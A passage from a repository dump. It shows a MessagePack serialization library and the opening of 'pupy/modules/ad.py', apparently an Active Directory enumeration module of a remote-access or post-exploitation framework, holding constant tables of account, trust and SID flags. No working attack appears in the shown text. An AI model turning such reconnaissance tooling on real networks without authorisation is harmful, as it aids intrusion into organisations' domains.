    raise NotImplementedError(\"Ext serializable class {:s} is missing implementation of packb()\".format(repr(obj.__class__)))\n    elif isinstance(obj, bool):\n        _pack_boolean(obj, fp, options)\n    elif isinstance(obj, (int, long)):\n        _pack_integer(obj, fp, options)\n    elif isinstance(obj, float):\n        _pack_float(obj, fp, options)\n    elif compatibility and isinstance(obj, unicode):\n        _pack_oldspec_raw(bytes(obj), fp, options)\n    elif compatibility and isinstance(obj, bytes):\n        _pack_oldspec_raw(obj, fp, options)\n    elif isinstance(obj, unicode):\n        _pack_string(obj, fp, options)\n    elif isinstance(obj, str):\n        _pack_binary(obj, fp, options)\n    elif isinstance(obj, (list, tuple)):\n        _pack_array(obj, fp, options)\n    elif isinstance(obj, dict):\n        _pack_map(obj, fp, options)\n    elif isinstance(obj, datetime.datetime):\n        _pack_ext_timestamp(obj, fp, options)\n    elif isinstance(obj, Ext):\n        _pack_ext(obj, fp, options)\n    elif ext_handlers:\n        # Linear search for superclass\n        t = next((t for t in ext_handlers.keys() if isinstance(obj, t)), None)\n        if t:\n            _pack_ext(ext_handlers[t](obj), fp, options)\n        else:\n            raise UnsupportedTypeException(\n                \"unsupported type: {:s}\".format(str(type(obj))))\n    elif _ext_class_to_type:\n        # Linear search for superclass\n        t = next((t for t in _ext_class_to_type if isinstance(obj, t)), None)\n        if t:\n            try:\n                _pack_ext(Ext(_ext_class_to_type[t], obj.packb()), fp, options)\n            except AttributeError:\n                raise NotImplementedError(\"Ext serializable class {:s} is missing implementation of packb()\".format(repr(t)))\n        else:\n            raise UnsupportedTypeException(\"unsupported type: {:s}\".format(str(type(obj))))\n    else:\n        raise UnsupportedTypeException(\"unsupported type: {:s}\".format(str(type(obj))))\n\n\n# Pack for Python 3, with unicode 'str' type, 'bytes' type, and no 'long' type\ndef _pack3(obj, fp, **options):\n    \"\"\"\n    Serialize a Python object into MessagePack bytes.\n\n    Args:\n        obj: a Python object\n        fp: a .write()-supporting file-like object\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                             to a callable that packs an instance of the type\n                             into an Ext object\n        force_float_precision (str): \"single\" to force packing floats as\n                                     IEEE-754 single-precision floats,\n                                     \"double\" to force packing floats as\n                                     IEEE-754 double-precision floats.\n\n    Returns:\n        None.\n\n    Raises:\n        UnsupportedType(PackException):\n            Object type not supported for packing.\n\n    Example:\n    >>> f = open('test.bin', 'wb')\n    >>> umsgpack.pack({u\"compact\": True, u\"schema\": 0}, f)\n    >>>\n    \"\"\"\n    global compatibility\n\n    ext_handlers = options.get(\"ext_handlers\")\n\n    if obj is None:\n        _pack_nil(obj, fp, options)\n    elif ext_handlers and obj.__class__ in ext_handlers:\n        _pack_ext(ext_handlers[obj.__class__](obj), fp, options)\n    elif obj.__class__ in _ext_class_to_type:\n        try:\n            _pack_ext(Ext(_ext_class_to_type[obj.__class__], obj.packb()), fp, options)\n        except AttributeError:\n            raise NotImplementedError(\"Ext serializable class {:s} is missing implementation of packb()\".format(repr(obj.__class__)))\n    elif isinstance(obj, bool):\n        _pack_boolean(obj, fp, options)\n    elif isinstance(obj, int):\n        _pack_integer(obj, fp, options)\n    elif isinstance(obj, float):\n        _pack_float(obj, fp, options)\n    elif compatibility and isinstance(obj, str):\n        _pack_oldspec_raw(obj.encode('utf-8'), fp, options)\n    elif compatibility and isinstance(obj, bytes):\n        _pack_oldspec_raw(obj, fp, options)\n    elif isinstance(obj, str):\n        _pack_string(obj, fp, options)\n    elif isinstance(obj, bytes):\n        _pack_binary(obj, fp, options)\n    elif isinstance(obj, (list, tuple)):\n        _pack_array(obj, fp, options)\n    elif isinstance(obj, dict):\n        _pack_map(obj, fp, options)\n    elif isinstance(obj, datetime.datetime):\n        _pack_ext_timestamp(obj, fp, options)\n    elif isinstance(obj, Ext):\n        _pack_ext(obj, fp, options)\n    elif ext_handlers:\n        # Linear search for superclass\n        t = next((t for t in ext_handlers.keys() if isinstance(obj, t)), None)\n        if t:\n            _pack_ext(ext_handlers[t](obj), fp, options)\n        else:\n            raise UnsupportedTypeException(\n                \"unsupported type: {:s}\".format(str(type(obj))))\n    elif _ext_class_to_type:\n        # Linear search for superclass\n        t = next((t for t in _ext_class_to_type if isinstance(obj, t)), None)\n        if t:\n            try:\n                _pack_ext(Ext(_ext_class_to_type[t], obj.packb()), fp, options)\n            except AttributeError:\n                raise NotImplementedError(\"Ext serializable class {:s} is missing implementation of packb()\".format(repr(t)))\n        else:\n            raise UnsupportedTypeException(\"unsupported type: {:s}\".format(str(type(obj))))\n    else:\n        raise UnsupportedTypeException(\n            \"unsupported type: {:s}\".format(str(type(obj))))\n\n\ndef _packb2(obj, **options):\n    \"\"\"\n    Serialize a Python object into MessagePack bytes.\n\n    Args:\n        obj: a Python object\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                             to a callable that packs an instance of the type\n                             into an Ext object\n        force_float_precision (str): \"single\" to force packing floats as\n                                     IEEE-754 single-precision floats,\n                                     \"double\" to force packing floats as\n                                     IEEE-754 double-precision floats.\n\n    Returns:\n        A 'str' containing serialized MessagePack bytes.\n\n    Raises:\n        UnsupportedType(PackException):\n            Object type not supported for packing.\n\n    Example:\n    >>> umsgpack.packb({u\"compact\": True, u\"schema\": 0})\n    '\\x82\\xa7compact\\xc3\\xa6schema\\x00'\n    >>>\n    \"\"\"\n    fp = io.BytesIO()\n    _pack2(obj, fp, **options)\n    return fp.getvalue()\n\n\ndef _packb3(obj, **options):\n    \"\"\"\n    Serialize a Python object into MessagePack bytes.\n\n    Args:\n        obj: a Python object\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping a custom type\n                             to a callable that packs an instance of the type\n                             into an Ext object\n        force_float_precision (str): \"single\" to force packing floats as\n                                     IEEE-754 single-precision floats,\n                                     \"double\" to force packing floats as\n                                     IEEE-754 double-precision floats.\n\n    Returns:\n        A 'bytes' containing serialized MessagePack bytes.\n\n    Raises:\n        UnsupportedType(PackException):\n            Object type not supported for packing.\n\n    Example:\n    >>> umsgpack.packb({u\"compact\": True, u\"schema\": 0})\n    b'\\x82\\xa7compact\\xc3\\xa6schema\\x00'\n    >>>\n    \"\"\"\n    fp = io.BytesIO()\n    _pack3(obj, fp, **options)\n    return fp.getvalue()\n\n#############################################################################\n# Unpacking\n#############################################################################\n\n\ndef _read_except(fp, n):\n    if n == 0:\n        return b\"\"\n\n    data = fp.read(n)\n    if len(data) == 0:\n        raise InsufficientDataException()\n\n    while len(data) < n:\n        chunk = fp.read(n - len(data))\n        if len(chunk) == 0:\n            raise InsufficientDataException()\n\n        data += chunk\n\n    return data\n\n\ndef _unpack_integer(code, fp, options):\n    if (ord(code) & 0xe0) == 0xe0:\n        return struct.unpack(\"b\", code)[0]\n    elif code == b'\\xd0':\n        return struct.unpack(\"b\", _read_except(fp, 1))[0]\n    elif code == b'\\xd1':\n        return struct.unpack(\">h\", _read_except(fp, 2))[0]\n    elif code == b'\\xd2':\n        return struct.unpack(\">i\", _read_except(fp, 4))[0]\n    elif code == b'\\xd3':\n        return struct.unpack(\">q\", _read_except(fp, 8))[0]\n    elif (ord(code) & 0x80) == 0x00:\n        return struct.unpack(\"B\", code)[0]\n    elif code == b'\\xcc':\n        return struct.unpack(\"B\", _read_except(fp, 1))[0]\n    elif code == b'\\xcd':\n        return struct.unpack(\">H\", _read_except(fp, 2))[0]\n    elif code == b'\\xce':\n        return struct.unpack(\">I\", _read_except(fp, 4))[0]\n    elif code == b'\\xcf':\n        return struct.unpack(\">Q\", _read_except(fp, 8))[0]\n    raise Exception(\"logic error, not int: 0x{:02x}\".format(ord(code)))\n\n\ndef _unpack_reserved(code, fp, options):\n    if code == b'\\xc1':\n        raise ReservedCodeException(\n            \"encountered reserved code: 0x{:02x}\".format(ord(code)))\n    raise Exception(\n        \"logic error, not reserved code: 0x{:02x}\".format(ord(code)))\n\n\ndef _unpack_nil(code, fp, options):\n    if code == b'\\xc0':\n        return None\n    raise Exception(\"logic error, not nil: 0x{:02x}\".format(ord(code)))\n\n\ndef _unpack_boolean(code, fp, options):\n    if code == b'\\xc2':\n        return False\n    elif code == b'\\xc3':\n        return True\n    raise Exception(\"logic error, not boolean: 0x{:02x}\".format(ord(code)))\n\n\ndef _unpack_float(code, fp, options):\n    if code == b'\\xca':\n        return struct.unpack(\">f\", _read_except(fp, 4))[0]\n    elif code == b'\\xcb':\n        return struct.unpack(\">d\", _read_except(fp, 8))[0]\n    raise Exception(\"logic error, not float: 0x{:02x}\".format(ord(code)))\n\n\ndef _unpack_string(code, fp, options):\n    if (ord(code) & 0xe0) == 0xa0:\n        length = ord(code) & ~0xe0\n    elif code == b'\\xd9':\n        length = struct.unpack(\"B\", _read_except(fp, 1))[0]\n    elif code == b'\\xda':\n        length = struct.unpack(\">H\", _read_except(fp, 2))[0]\n    elif code == b'\\xdb':\n        length = struct.unpack(\">I\", _read_except(fp, 4))[0]\n    else:\n        raise Exception(\"logic error, not string: 0x{:02x}\".format(ord(code)))\n\n    # Always return raw bytes in compatibility mode\n    global compatibility\n    if compatibility:\n        return _read_except(fp, length)\n\n    data = _read_except(fp, length)\n    try:\n        return bytes.decode(data, 'utf-8')\n    except UnicodeDecodeError:\n        if options.get(\"allow_invalid_utf8\"):\n            return InvalidString(data)\n        raise InvalidStringException(\"unpacked string is invalid utf-8\")\n\n\ndef _unpack_binary(code, fp, options):\n    if code == b'\\xc4':\n        length = struct.unpack(\"B\", _read_except(fp, 1))[0]\n    elif code == b'\\xc5':\n        length = struct.unpack(\">H\", _read_except(fp, 2))[0]\n    elif code == b'\\xc6':\n        length = struct.unpack(\">I\", _read_except(fp, 4))[0]\n    else:\n        raise Exception(\"logic error, not binary: 0x{:02x}\".format(ord(code)))\n\n    return _read_except(fp, length)\n\n\ndef _unpack_ext(code, fp, options):\n    if code == b'\\xd4':\n        length = 1\n    elif code == b'\\xd5':\n        length = 2\n    elif code == b'\\xd6':\n        length = 4\n    elif code == b'\\xd7':\n        length = 8\n    elif code == b'\\xd8':\n        length = 16\n    elif code == b'\\xc7':\n        length = struct.unpack(\"B\", _read_except(fp, 1))[0]\n    elif code == b'\\xc8':\n        length = struct.unpack(\">H\", _read_except(fp, 2))[0]\n    elif code == b'\\xc9':\n        length = struct.unpack(\">I\", _read_except(fp, 4))[0]\n    else:\n        raise Exception(\"logic error, not ext: 0x{:02x}\".format(ord(code)))\n\n    ext_type = struct.unpack(\"b\", _read_except(fp, 1))[0]\n    ext_data = _read_except(fp, length)\n\n    # Unpack with ext handler, if we have one\n    ext_handlers = options.get(\"ext_handlers\")\n    if ext_handlers and ext_type in ext_handlers:\n        return ext_handlers[ext_type](Ext(ext_type, ext_data))\n\n    # Unpack with ext classes, if type is registered\n    if ext_type in _ext_type_to_class:\n        try:\n            return _ext_type_to_class[ext_type].unpackb(ext_data)\n        except AttributeError:\n            raise NotImplementedError(\"Ext serializable class {:s} is missing implementation of unpackb()\".format(repr(_ext_type_to_class[ext_type])))\n\n    # Timestamp extension\n    if ext_type == -1:\n        return _unpack_ext_timestamp(ext_data, options)\n\n    return Ext(ext_type, ext_data)\n\n\ndef _unpack_ext_timestamp(ext_data, options):\n    obj_len = len(ext_data)\n    if obj_len == 4:\n        # 32-bit timestamp\n        seconds = struct.unpack(\">I\", ext_data)[0]\n        microseconds = 0\n    elif obj_len == 8:\n        # 64-bit timestamp\n        value = struct.unpack(\">Q\", ext_data)[0]\n        seconds = value & 0x3ffffffff\n        microseconds = (value >> 34) // 1000\n    elif obj_len == 12:\n        # 96-bit timestamp\n        seconds = struct.unpack(\">q\", ext_data[4:12])[0]\n        microseconds = struct.unpack(\">I\", ext_data[0:4])[0] // 1000\n    else:\n        raise UnsupportedTimestampException(\n            \"unsupported timestamp with data length {:d}\".format(len(ext_data)))\n\n    return _epoch + datetime.timedelta(seconds=seconds,\n                                       microseconds=microseconds)\n\n\ndef _unpack_array(code, fp, options):\n    if (ord(code) & 0xf0) == 0x90:\n        length = (ord(code) & ~0xf0)\n    elif code == b'\\xdc':\n        length = struct.unpack(\">H\", _read_except(fp, 2))[0]\n    elif code == b'\\xdd':\n        length = struct.unpack(\">I\", _read_except(fp, 4))[0]\n    else:\n        raise Exception(\"logic error, not array: 0x{:02x}\".format(ord(code)))\n\n    if options.get('use_tuple'):\n        return tuple((_unpack(fp, options) for i in xrange(length)))\n\n    return [_unpack(fp, options) for i in xrange(length)]\n\n\ndef _deep_list_to_tuple(obj):\n    if isinstance(obj, list):\n        return tuple([_deep_list_to_tuple(e) for e in obj])\n    return obj\n\n\ndef _unpack_map(code, fp, options):\n    if (ord(code) & 0xf0) == 0x80:\n        length = (ord(code) & ~0xf0)\n    elif code == b'\\xde':\n        length = struct.unpack(\">H\", _read_except(fp, 2))[0]\n    elif code == b'\\xdf':\n        length = struct.unpack(\">I\", _read_except(fp, 4))[0]\n    else:\n        raise Exception(\"logic error, not map: 0x{:02x}\".format(ord(code)))\n\n    d = {} if not options.get('use_ordered_dict') else collections.OrderedDict()\n    for _ in xrange(length):\n        # Unpack key\n        k = _unpack(fp, options)\n\n        if isinstance(k, list):\n            # Attempt to convert list into a hashable tuple\n            k = _deep_list_to_tuple(k)\n        elif not isinstance(k, Hashable):\n            raise UnhashableKeyException(\n                \"encountered unhashable key: \\\"{:s}\\\" ({:s})\".format(str(k), str(type(k))))\n        elif k in d:\n            raise DuplicateKeyException(\n                \"encountered duplicate key: \\\"{:s}\\\" ({:s})\".format(str(k), str(type(k))))\n\n        # Unpack value\n        v = _unpack(fp, options)\n\n        try:\n            d[k] = v\n        except TypeError:\n            raise UnhashableKeyException(\n                \"encountered unhashable key: \\\"{:s}\\\"\".format(str(k)))\n    return d\n\n\ndef _unpack(fp, options):\n    code = _read_except(fp, 1)\n    return _unpack_dispatch_table[code](code, fp, options)\n\n########################################\n\n\ndef _unpack2(fp, **options):\n    \"\"\"\n    Deserialize MessagePack bytes into a Python object.\n\n    Args:\n        fp: a .read()-supporting file-like object\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                             type to a callable that unpacks an instance of\n                             Ext into an object\n        use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                                 unordered dict (default False)\n        use_tuple (bool): unpacks arrays into tuples, instead of lists (default\n                          False)\n        allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                                   InvalidString, for access to the bytes\n                                   (default False)\n\n    Returns:\n        A Python object.\n\n    Raises:\n        InsufficientDataException(UnpackException):\n            Insufficient data to unpack the serialized object.\n        InvalidStringException(UnpackException):\n            Invalid UTF-8 string encountered during unpacking.\n        UnsupportedTimestampException(UnpackException):\n            Unsupported timestamp format encountered during unpacking.\n        ReservedCodeException(UnpackException):\n            Reserved code encountered during unpacking.\n        UnhashableKeyException(UnpackException):\n            Unhashable key encountered during map unpacking.\n            The serialized map cannot be deserialized into a Python dictionary.\n        DuplicateKeyException(UnpackException):\n            Duplicate key encountered during map unpacking.\n\n    Example:\n    >>> f = open('test.bin', 'rb')\n    >>> umsgpack.unpackb(f)\n    {u'compact': True, u'schema': 0}\n    >>>\n    \"\"\"\n    return _unpack(fp, options)\n\n\ndef _unpack3(fp, **options):\n    \"\"\"\n    Deserialize MessagePack bytes into a Python object.\n\n    Args:\n        fp: a .read()-supporting file-like object\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                             type to a callable that unpacks an instance of\n                             Ext into an object\n        use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                                 unordered dict (default False)\n        use_tuple (bool): unpacks arrays into tuples, instead of lists (default\n                          False)\n        allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                                   InvalidString, for access to the bytes\n                                   (default False)\n\n    Returns:\n        A Python object.\n\n    Raises:\n        InsufficientDataException(UnpackException):\n            Insufficient data to unpack the serialized object.\n        InvalidStringException(UnpackException):\n            Invalid UTF-8 string encountered during unpacking.\n        UnsupportedTimestampException(UnpackException):\n            Unsupported timestamp format encountered during unpacking.\n        ReservedCodeException(UnpackException):\n            Reserved code encountered during unpacking.\n        UnhashableKeyException(UnpackException):\n            Unhashable key encountered during map unpacking.\n            The serialized map cannot be deserialized into a Python dictionary.\n        DuplicateKeyException(UnpackException):\n            Duplicate key encountered during map unpacking.\n\n    Example:\n    >>> f = open('test.bin', 'rb')\n    >>> umsgpack.unpackb(f)\n    {'compact': True, 'schema': 0}\n    >>>\n    \"\"\"\n    return _unpack(fp, options)\n\n\n# For Python 2, expects a str object\ndef _unpackb2(s, **options):\n    \"\"\"\n    Deserialize MessagePack bytes into a Python object.\n\n    Args:\n        s: a 'str' or 'bytearray' containing serialized MessagePack bytes\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                             type to a callable that unpacks an instance of\n                             Ext into an object\n        use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                                 unordered dict (default False)\n        use_tuple (bool): unpacks arrays into tuples, instead of lists (default\n                          False)\n        allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                                   InvalidString, for access to the bytes\n                                   (default False)\n\n    Returns:\n        A Python object.\n\n    Raises:\n        TypeError:\n            Packed data type is neither 'str' nor 'bytearray'.\n        InsufficientDataException(UnpackException):\n            Insufficient data to unpack the serialized object.\n        InvalidStringException(UnpackException):\n            Invalid UTF-8 string encountered during unpacking.\n        UnsupportedTimestampException(UnpackException):\n            Unsupported timestamp format encountered during unpacking.\n        ReservedCodeException(UnpackException):\n            Reserved code encountered during unpacking.\n        UnhashableKeyException(UnpackException):\n            Unhashable key encountered during map unpacking.\n            The serialized map cannot be deserialized into a Python dictionary.\n        DuplicateKeyException(UnpackException):\n            Duplicate key encountered during map unpacking.\n\n    Example:\n    >>> umsgpack.unpackb(b'\\x82\\xa7compact\\xc3\\xa6schema\\x00')\n    {u'compact': True, u'schema': 0}\n    >>>\n    \"\"\"\n    if not isinstance(s, (str, bytearray)):\n        raise TypeError(\"packed data must be type 'str' or 'bytearray'\")\n    return _unpack(io.BytesIO(s), options)\n\n\n# For Python 3, expects a bytes object\ndef _unpackb3(s, **options):\n    \"\"\"\n    Deserialize MessagePack bytes into a Python object.\n\n    Args:\n        s: a 'bytes' or 'bytearray' containing serialized MessagePack bytes\n\n    Kwargs:\n        ext_handlers (dict): dictionary of Ext handlers, mapping integer Ext\n                             type to a callable that unpacks an instance of\n                             Ext into an object\n        use_ordered_dict (bool): unpack maps into OrderedDict, instead of\n                                 unordered dict (default False)\n        use_tuple (bool): unpacks arrays into tuples, instead of lists (default\n                          False)\n        allow_invalid_utf8 (bool): unpack invalid strings into instances of\n                                   InvalidString, for access to the bytes\n                                   (default False)\n\n    Returns:\n        A Python object.\n\n    Raises:\n        TypeError:\n            Packed data type is neither 'bytes' nor 'bytearray'.\n        InsufficientDataException(UnpackException):\n            Insufficient data to unpack the serialized object.\n        InvalidStringException(UnpackException):\n            Invalid UTF-8 string encountered during unpacking.\n        UnsupportedTimestampException(UnpackException):\n            Unsupported timestamp format encountered during unpacking.\n        ReservedCodeException(UnpackException):\n            Reserved code encountered during unpacking.\n        UnhashableKeyException(UnpackException):\n            Unhashable key encountered during map unpacking.\n            The serialized map cannot be deserialized into a Python dictionary.\n        DuplicateKeyException(UnpackException):\n            Duplicate key encountered during map unpacking.\n\n    Example:\n    >>> umsgpack.unpackb(b'\\x82\\xa7compact\\xc3\\xa6schema\\x00')\n    {'compact': True, 'schema': 0}\n    >>>\n    \"\"\"\n    if not isinstance(s, (bytes, bytearray)):\n        raise TypeError(\"packed data must be type 'bytes' or 'bytearray'\")\n    return _unpack(io.BytesIO(s), options)\n\n#############################################################################\n# Module Initialization\n#############################################################################\n\n\ndef __init():\n    global pack\n    global packb\n    global unpack\n    global unpackb\n    global dump\n    global dumps\n    global load\n    global loads\n    global compatibility\n    global _epoch\n    global _utc_tzinfo\n    global _float_precision\n    global _unpack_dispatch_table\n    global xrange\n\n    # Compatibility mode for handling strings/bytes with the old specification\n    compatibility = False\n\n    if sys.version_info[0] == 3:\n        _utc_tzinfo = datetime.timezone.utc\n    else:\n        class UTC(datetime.tzinfo):\n            ZERO = datetime.timedelta(0)\n\n            def utcoffset(self, dt):\n                return UTC.ZERO\n\n            def tzname(self, dt):\n                return \"UTC\"\n\n            def dst(self, dt):\n                return UTC.ZERO\n\n        _utc_tzinfo = UTC()\n\n    # Calculate an aware epoch datetime\n    _epoch = datetime.datetime(1970, 1, 1, tzinfo=_utc_tzinfo)\n\n    # Auto-detect system float precision\n    if sys.float_info.mant_dig == 53:\n        _float_precision = \"double\"\n    else:\n        _float_precision = \"single\"\n\n    # Map packb and unpackb to the appropriate version\n    if sys.version_info[0] == 3:\n        pack = _pack3\n        packb = _packb3\n        dump = _pack3\n        dumps = _packb3\n        unpack = _unpack3\n        unpackb = _unpackb3\n        load = _unpack3\n        loads = _unpackb3\n        xrange = range\n    else:\n        pack = _pack2\n        packb = _packb2\n        dump = _pack2\n        dumps = _packb2\n        unpack = _unpack2\n        unpackb = _unpackb2\n        load = _unpack2\n        loads = _unpackb2\n\n    # Build a dispatch table for fast lookup of unpacking function\n\n    _unpack_dispatch_table = {}\n    # Fix uint\n    for code in range(0, 0x7f + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_integer\n    # Fix map\n    for code in range(0x80, 0x8f + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_map\n    # Fix array\n    for code in range(0x90, 0x9f + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_array\n    # Fix str\n    for code in range(0xa0, 0xbf + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_string\n    # Nil\n    _unpack_dispatch_table[b'\\xc0'] = _unpack_nil\n    # Reserved\n    _unpack_dispatch_table[b'\\xc1'] = _unpack_reserved\n    # Boolean\n    _unpack_dispatch_table[b'\\xc2'] = _unpack_boolean\n    _unpack_dispatch_table[b'\\xc3'] = _unpack_boolean\n    # Bin\n    for code in range(0xc4, 0xc6 + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_binary\n    # Ext\n    for code in range(0xc7, 0xc9 + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_ext\n    # Float\n    _unpack_dispatch_table[b'\\xca'] = _unpack_float\n    _unpack_dispatch_table[b'\\xcb'] = _unpack_float\n    # Uint\n    for code in range(0xcc, 0xcf + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_integer\n    # Int\n    for code in range(0xd0, 0xd3 + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_integer\n    # Fixext\n    for code in range(0xd4, 0xd8 + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_ext\n    # String\n    for code in range(0xd9, 0xdb + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_string\n    # Array\n    _unpack_dispatch_table[b'\\xdc'] = _unpack_array\n    _unpack_dispatch_table[b'\\xdd'] = _unpack_array\n    # Map\n    _unpack_dispatch_table[b'\\xde'] = _unpack_map\n    _unpack_dispatch_table[b'\\xdf'] = _unpack_map\n    # Negative fixint\n    for code in range(0xe0, 0xff + 1):\n        _unpack_dispatch_table[struct.pack(\"B\", code)] = _unpack_integer\n\n\n__init()\n"
  },
  {
    "path": "pupy/library_patches_py3/xattr/lib_build.py",
    "content": "# don't do anything\n"
  },
  {
    "path": "pupy/modules/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/modules/ad.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom ldap3.protocol.formatters.formatters import format_sid\nfrom impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR\n\nfrom pupy.pupylib.PupyConfig import PupyConfig\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Pygment, List, Table, MultiPart\n\nfrom pygments import lexers\n\nfrom os.path import basename\nfrom json import dumps\nfrom io import open\n\nfrom threading import Event\nfrom datetime import datetime\nfrom uuid import UUID\n\nfrom collections import OrderedDict\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'AD'\n\nIMM = 0\nLIST = 1\nMAP = 2\nDATE = 3\n\n# search attributes\nALL_ATTRIBUTES = '*'\nNO_ATTRIBUTES = '1.1'  # as per RFC 4511\nALL_OPERATIONAL_ATTRIBUTES = '+'  # as per RFC 3673\n\n# search scope\nBASE = 'BASE'\nLEVEL = 'LEVEL'\nSUBTREE = 'SUBTREE'\n\n# User account control flags\n# From: https://blogs.technet.microsoft.com/askpfeplat/2014/01/15/understanding-the-useraccountcontrol-attribute-in-active-directory/\nuac_flags = {\n    'ACCOUNT_DISABLED':0x00000002,\n    'ACCOUNT_LOCKED':0x00000010,\n    'PASSWD_NOTREQD':0x00000020,\n    'PASSWD_CANT_CHANGE': 0x00000040,\n    'NORMAL_ACCOUNT': 0x00000200,\n    'WORKSTATION_ACCOUNT':0x00001000,\n    'SERVER_TRUST_ACCOUNT': 0x00002000,\n    'DONT_EXPIRE_PASSWD': 0x00010000,\n    'SMARTCARD_REQUIRED': 0x00040000,\n    'TRUSTED_FOR_DELEGATION': 0x00080000,\n    'NOT_DELEGATED': 0x00100000,\n    'USE_DES_KEY_ONLY': 0x00200000,\n    'DONT_REQ_PREAUTH': 0x00400000,\n    'PASSWORD_EXPIRED': 0x00800000,\n    'TRUSTED_TO_AUTH_FOR_DELEGATION': 0x01000000,\n    'PARTIAL_SECRETS_ACCOUNT': 0x04000000\n}\n\n# https://docs.microsoft.com/en-us/windows/win32/adschema/a-samaccounttype\nsam_flags = {\n    'SAM_DOMAIN_OBJECT': 0x0,\n    'SAM_GROUP_OBJECT': 0x10000000,\n    'SAM_NON_SECURITY_GROUP_OBJECT': 0x10000001,\n    'SAM_ALIAS_OBJECT': 0x20000000,\n    'SAM_NON_SECURITY_ALIAS_OBJECT': 0x20000001,\n    'SAM_NORMAL_USER_ACCOUNT': 0x30000000,\n    'SAM_MACHINE_ACCOUNT': 0x30000001,\n    'SAM_TRUST_ACCOUNT': 0x30000002,\n    'SAM_APP_BASIC_GROUP': 0x40000000,\n    'SAM_APP_QUERY_GROUP': 0x40000001,\n    'SAM_ACCOUNT_TYPE_MAX': 0x7fffffff\n}\n\n# Password policy flags\npwd_flags = {\n    'PASSWORD_COMPLEX':0x01,\n    'PASSWORD_NO_ANON_CHANGE': 0x02,\n    'PASSWORD_NO_CLEAR_CHANGE': 0x04,\n    'LOCKOUT_ADMINS': 0x08,\n    'PASSWORD_STORE_CLEARTEXT': 0x10,\n    'REFUSE_PASSWORD_CHANGE': 0x20\n}\n\n# Domain trust flags\n# From: https://msdn.microsoft.com/en-us/library/cc223779.aspx\ntrust_flags = {\n    'NON_TRANSITIVE':0x00000001,\n    'UPLEVEL_ONLY':0x00000002,\n    'QUARANTINED_DOMAIN':0x00000004,\n    'FOREST_TRANSITIVE':0x00000008,\n    'CROSS_ORGANIZATION':0x00000010,\n    'WITHIN_FOREST':0x00000020,\n    'TREAT_AS_EXTERNAL':0x00000040,\n    'USES_RC4_ENCRYPTION':0x00000080,\n    'CROSS_ORGANIZATION_NO_TGT_DELEGATION':0x00000200,\n    'PIM_TRUST':0x00000400\n}\n\n# Domain trust direction\n# From: https://msdn.microsoft.com/en-us/library/cc223768.aspx\ntrust_directions = {\n    'INBOUND':0x01,\n    'OUTBOUND':0x02,\n    'BIDIRECTIONAL':0x03\n}\n\n# Domain trust types\ntrust_type = {\n    'DOWNLEVEL':0x01,\n    'UPLEVEL':0x02,\n    'MIT':0x03\n}\n\n# Common attribute pretty translations\nattr_translations = {\n    'sAMAccountName':'SAM Name',\n    'cn':'CN',\n    'operatingSystem':'Operating System',\n    'operatingSystemServicePack':'Service Pack',\n    'operatingSystemVersion':'OS Version',\n    'userAccountControl':'Flags',\n    'objectSid':'SID',\n    'memberOf':'Member of groups',\n    'primaryGroupId':'Primary group',\n    'dNSHostName':'DNS Hostname',\n    'whenCreated':'Created on',\n    'whenChanged':'Changed on',\n    'IPv4':'IPv4 Address',\n    'lockOutObservationWindow':'Lockout time window',\n    'lockoutDuration':'Lockout Duration',\n    'lockoutThreshold':'Lockout Threshold',\n    'maxPwdAge':'Max password age',\n    'minPwdAge':'Min password age',\n    'minPwdLength':'Min password length',\n    'pwdHistoryLength':'Password history length',\n    'pwdProperties':'Password properties',\n    'ms-DS-MachineAccountQuota':'Machine Account Quota',\n    'flatName':'NETBIOS Domain name'\n}\n\nsid_translations = {\n    'S-1-0': ('Null Authority', 'USER'),\n    'S-1-0-0': ('Nobody', 'USER'),\n    'S-1-1': ('World Authority', 'USER'),\n    'S-1-1-0': ('Everyone', 'GROUP'),\n    'S-1-2': ('Local Authority', 'USER'),\n    'S-1-2-0': ('Local', 'GROUP'),\n    'S-1-2-1': ('Console Logon', 'GROUP'),\n    'S-1-3': ('Creator Authority', 'USER'),\n    'S-1-3-0': ('Creator Owner', 'USER'),\n    'S-1-3-1': ('Creator Group', 'GROUP'),\n    'S-1-3-2': ('Creator Owner Server', 'COMPUTER'),\n    'S-1-3-3': ('Creator Group Server', 'COMPUTER'),\n    'S-1-3-4': ('Owner Rights', 'GROUP'),\n    'S-1-4': ('Non-unique Authority', 'USER'),\n    'S-1-5': ('NT Authority', 'USER'),\n    'S-1-5-1': ('Dialup', 'GROUP'),\n    'S-1-5-2': ('Network', 'GROUP'),\n    'S-1-5-3': ('Batch', 'GROUP'),\n    'S-1-5-4': ('Interactive', 'GROUP'),\n    'S-1-5-6': ('Service', 